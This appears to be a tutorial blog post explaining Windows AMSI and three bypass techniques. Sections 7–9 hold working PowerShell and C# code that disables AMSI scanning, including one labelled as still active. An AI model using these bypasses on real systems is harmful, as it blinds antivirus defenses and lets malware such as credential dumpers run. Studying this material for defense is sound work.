<index> / <windows-internals> / amsi
[ en | fr ]
┌───────────────────────┐
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
└───────────────────────┘
AMSI Bypass
~ lululufr
CONTENTS
  0  malware detection methods
  1  what is amsi
  2  amsi execution flow
  3  supported components
  4  amsi api — the functions
  5  identifying amsi-using processes
  6  the bypass — breaking the chain
  7  bypass 1 — corrupting amsicontext (patched)
  8  bypass 2 — amsiinitfailed (active)
  9  bypass 3 — patching amsiscanbuffer

──[ 0. Malware Detection Methods ]──

Security vendors stack a few detection layers:
    Signature       Hash of a known-bad binary against a DB.
    Static          Pattern matching on strings, encoded blobs, byte sequences.
    Dynamic         Behaviour at runtime — calc.exe spawning cmd.exe, that kind 
of thing.
    Machine learning Anomaly detection against a learned baseline. Standard in m
odern EDRs.

──[ 1. What is AMSI ]──

AMSI (Anti-Malware Scan Interface) is the Windows API that lets security 
products inspect script and buffer content before it runs. Shipped with Windows
10. It's generic: anything can call AMSI, anything can register as a provider.
flowchart LR
    A[PowerShell / WSH / .NET / VBA] --> B[AMSI API]
    B --> C[AMSI Provider\nWindows Defender / EDR]
    C --> D{Result}
    D -->|CLEAN| E[Execute]
    D -->|DETECTED| F[Block]
AMSI architecture overview
The point is that AMSI sees buffers, not just files on disk. That's why it 
catches fileless and obfuscated payloads.
──[ 2. AMSI Execution Flow ]──

    1. Something asks for a scan (e.g. a PowerShell command about to run).
    2. Request goes to the registered AMSI provider.
    3. Provider runs its detection logic.
    4. Result comes back, the caller decides: allow or block.

──[ 3. Supported Components ]──

AMSI is wired into:
    PowerShell (3.0+)
    Windows Script Host (wscript.exe, cscript.exe)
    JavaScript / VBScript
    VBA macros (Office)
    .NET Framework 4.8+
    WMI

──[ 4. AMSI API — The Functions ]──

Init
    AmsiInitialize(APP_NAME, &amsiContext)
        Returns the HAMSICONTEXT handle every later call needs.

    AmsiOpenSession(amsiContext, &session)
        Opens a session so multiple scans can be correlated — useful when a
        payload arrives in pieces across several commands.

Scan
    AmsiScanBuffer(amsiContext, buf, size, name, session, &result)
        Sends a memory buffer to the provider. You get back one of:

        AMSI_RESULT_CLEAN            (0)      nothing found
        AMSI_RESULT_NOT_DETECTED     (1)      not flagged
        AMSI_RESULT_BLOCKED_BY_ADMIN (16384–20479) admin policy
        AMSI_RESULT_DETECTED         (32768)  threat

The caller takes the result and decides what to do with it.
──[ 5. Identifying AMSI-Using Processes ]──

List processes that loaded amsi.dll:
    tasklist /m amsi*
tasklist /m amsi output
Only running processes show up — this reads in-memory modules.

Which security provider is registered:
    Get-WmiObject -Namespace "root\securitycenter2" `
        -Class AntivirusProduct |
        Select-Object DisplayName, PathToSignedProductExe, ProductState
Registered antivirus provider
──[ 6. The Bypass — Breaking the Chain ]──

Every known AMSI bypass breaks the link between the API and the provider. The 
HAMSICONTEXT struct is shared across all AMSI calls — corrupt it and every scan
after fails silently. AMSI is effectively dead for the process. Microsoft didn't publish the layout of HAMSICONTEXT, but researchers reversed
it. First DWORD is a magic header (0x49534D41, "AMSI"), and there's an
amsiInitFailed field in there too.
──[ 7. Bypass 1 — Corrupting AmsiContext (PATCHED) ]──

Use .NET reflection to find the internal amsiContext pointer in PowerShell's 
AmsiUtils class, then zero it.
    $fields = [Ref].Assembly.GetType(
        'System.Management.Automation.AmsiUtils'
    ).GetFields('NonPublic,Static')

    $amsiContext = $fields | Where-Object { $_ -like "*Context" }

    [IntPtr]$ptr = $amsiContext.GetValue($null)

    [Int32[]]$empty = @(0)
    [System.Runtime.InteropServices.Marshal]::Copy($empty, 0, $ptr, 1)
AmsiUtils — GetFields reflection output
Line by line:
    1. [Ref].Assembly hands you the current assembly via reflection —
       bypassing normal visibility rules.
    2. GetType() pulls the internal AmsiUtils class.
    3. GetFields('NonPublic,Static') gets the private fields. Reflection
       doesn't care about OOP access modifiers.
GetFields — private static fields listed
4. Wildcard "*Context" instead of the literal "amsiContext" — that
       string is itself flagged by some providers.
*Context filter — amsiContext field isolated
5. GetValue($null) hands you the raw HAMSICONTEXT pointer.
IntPtr — raw HAMSICONTEXT pointer
6. Marshal::Copy overwrites the first byte. Magic header dies, every
       scan returns an error that's silently swallowed.
HAMSICONTEXT pointer address
HAMSICONTEXT buffer before corruption
HAMSICONTEXT buffer after corruption (zeroed)
One byte is enough: bad magic makes AmsiScanBuffer error out before it scans 
anything. Patched in recent Windows builds.
──[ 8. Bypass 2 — amsiInitFailed (ACTIVE) ]──

Simpler: flip amsiInitFailed to true. AMSI pretends init failed, no scan ever 
happens.
    $field = [Ref].Assembly.GetType(
        'System.Management.Automation.AmsiUtils'
    ).GetFields('NonPublic,Static') |
        Where-Object { $_.Name -like "amsiInitFailed" }

    $field.SetValue($null, $true)
Result: Mimikatz and friends, which AMSI blocks before this bypass, run 
untouched after it.
amsiInitFailed bypass — AMSI disabled for process
──[ 9. Bypass 3 — Patching AmsiScanBuffer ]──

Lower-level: patch AmsiScanBuffer in memory so it returns E_INVALIDARG 
(0x80070057) right away, without ever calling the provider.
    // Inline C# compiled at runtime
    [DllImport("kernel32")] LoadLibrary(string)
    [DllImport("kernel32")] GetProcAddress(IntPtr, string)
    [DllImport("kernel32")] VirtualProtect(IntPtr, UIntPtr, uint, out uint)

    $lib  = [Win32]::LoadLibrary("am" + "si.dll")       // obfuscated string
    $addr = [Win32]::GetProcAddress($lib, "Amsi"+"Scan"+"Buffer")

    // Mark the page RWX so we can write to it
    [Win32]::VirtualProtect($addr, 5, 0x40, [ref]$p)

    // Patch bytes:
    //   B8 57 00 07 80  -> MOV EAX, 0x80070057  (E_INVALIDARG)
    //   C3              -> RET
    $patch = [Byte[]](0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
    [Marshal]::Copy($patch, 0, $addr, 6)
The "am"+"si.dll" split is just to dodge signature-based detection of the DLL 
name. The patch swaps the function prologue for "return error" — every scan call
dies harmlessly.